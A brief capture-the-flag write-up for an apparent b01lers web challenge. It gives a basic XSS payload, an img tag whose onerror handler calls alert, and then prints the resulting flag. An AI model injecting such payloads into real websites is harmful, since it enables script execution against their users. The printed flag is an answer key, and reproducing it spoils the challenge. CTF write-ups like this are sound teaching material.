Challenge Description

It’s time to enter the Grid. Figure out a way to pop an alert() to get your flag. http://chal.ctf.b01lers.com:3006

Solution

At first look we notice that it’s XSS related, so let’s pop an alert()

executing this basic payload will give us a flag back :

<img src=x onerror=alert('XSS');>

FLAG : flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}

best regards
